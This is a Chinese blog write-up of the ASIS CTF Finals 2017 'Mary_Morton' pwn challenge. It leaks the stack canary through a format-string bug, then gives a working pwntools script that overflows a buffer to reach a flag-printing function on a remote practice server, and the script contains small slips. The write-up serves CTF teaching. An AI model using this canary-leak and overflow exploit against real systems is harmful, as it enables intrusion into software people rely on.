

ASIS-CTF-Finals-2017 pwn Mary_Morton Writeup

原创

tuck3r 于 2019-09-03 16:22:30 发布 391 收藏 2

分类专栏: [pwn CTF 栈溢出利用](#) 文章标签: [ctf ASIS-CTF-Finals-2017 pwn writeup](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: https://blog.csdn.net/qq_39596232/article/details/100520671

版权



[pwn](#) 同时被 3 个专栏收录

12 篇文章 0 订阅

订阅专栏



[CTF](#)

13 篇文章 1 订阅

订阅专栏



[栈溢出利用](#)

4 篇文章 0 订阅

订阅专栏

题目描述:

ASIS-CTF-Finals-2017 非常简单的热身pwn

分析思路:

1、首先查看文件的安全信息:

```
tucker@ubuntu:~/xman/pwn$ file Mary_Morton
Mary_Morton: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2
tucker@ubuntu:~/xman/pwn$ checksec Mary_Morton
[*] '/home/tucker/xman/pwn/Mary_Morton'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
```

我们看到ELF文件开启了canary保护。

2.使用IDA查看:

```

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
    int v3; // [rsp+24h] [rbp-Ch]
    unsigned __int64 v4; // [rsp+28h] [rbp-8h]

    v4 = __readfsqword(0x28u);
    sub_4009FF();
    puts("Welcome to the battle ! ");
    puts("[Great Fairy] level pwned ");
    puts("Select your weapon ");
    while ( 1 )
    {
        while ( 1 )
        {
            print_info();
            __isoc99_scanf("%d", &v3);
            if ( v3 != 2 )
                break;
            format_string_bug();
        }
        if ( v3 == 3 )
        {
            puts("Bye ");
            exit(0);
        }
        if ( v3 == 1 )
            stack_overflow();
        else
            puts("Wrong!");
    }
}

```

我们看到，有两个可以利用的漏洞，具体如下：

```

unsigned __int64 format_string_bug()
{
    char buf; // [rsp+0h] [rbp-90h]
    unsigned __int64 v2; // [rsp+88h] [rbp-8h]

    v2 = __readfsqword(0x28u);
    memset(&buf, 0, 0x80uLL);
    read(0, &buf, 0x7FuLL);
    printf(&buf, &buf);
    return __readfsqword(0x28u) ^ v2;
}

```

```

unsigned __int64 stack_overflow()
{
    char buf; // [rsp+0h] [rbp-90h]
    unsigned __int64 v2; // [rsp+88h] [rbp-8h]

    v2 = __readfsqword(0x28u);
    memset(&buf, 0, 0x80uLL);
    read(0, &buf, 0x100uLL);
    printf("-> %s\n", &buf);
    return __readfsqword(0x28u) ^ v2;
}

```

但是因为启用了canary保护，给我们造成了一定的困扰，在汇编代码中我们可以看到，所谓的canary，就是比较rbp-0x8和fs:[28h]处的数据，如果不相等，则转去异常处理。同时我们又发现，在两个可溢出的函数中，canary是一样的。因此我们可以使用其中一个溢出函数打印出canary的值，然后用这个值去填充另一个可以溢出的缓冲区，就可以绕过检查。

3、首先我们需要找到canary距离我们的buf缓冲区的偏移量。

```

tucker@ubuntu:~/xman/pwn$ ./Mary_Morton
Welcome to the battle !
[Great Fairy] level pwned
Select your weapon
1. Stack Bufferoverflow Bug
2. Format String Bug
3. Exit the battle
2
aaaa_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p
aaaa_0x7ffc7cff7270_0x7f_0x7f26ca00a081_(nil)_(nil)_0x5f70255f61616161_0x70255f70255f7025_0x255f70255f70255

```

我们看到，偏移量为6。又因为buf位置为rbp-0x90，canary为0x8，相差0x88，且8bytes为一个单位，即 $0x88 / 8 = 0x11 = 17$ ， $17 + 6 = 23$ ，因此偏移量为23，所以我们可以使用%23\$p来打印出canary的地址。

4、由此我们可以写出exp:

```

# Mary_Morton.py

from pwn import *

sh = process('./Mary_Morton')
sh = remote('111.198.29.45', '42342')

sh.sendline('2')
sh.sendline("%%23$p")
sh.recvuntil('\0x')
canary = int(sh.recv(16), 16)
print hex(canary)

addr = 0x04008DA
payload = 'a' * (0x90 - 0x8) + p64(canary) + p64(61) + p64(addr)

sh.sendline('1')
sh.sendline(payload)

sh.interactive()

```

即可得到flag:

```

tucker@ubuntu:~/xman/pwn$ python Mary_Morton.py
[+] Starting local process './Mary_Morton': pid 33483
[+] Opening connection to 111.198.29.45 on port 42342: Done
0x684666ef45e35300
[*] Switching to interactive mode

1. Stack Bufferoverflow Bug
2. Format String Bug
3. Exit the battle
-> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
cyberpeace{e5a06ac649a26b9b72f38eee318ad00e}
[*] Got EOF while reading in interactive
$

```